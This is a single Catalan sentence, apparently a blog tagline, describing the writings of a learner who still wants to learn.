Coses d'un aprenent que encara té ganes d'aprendre.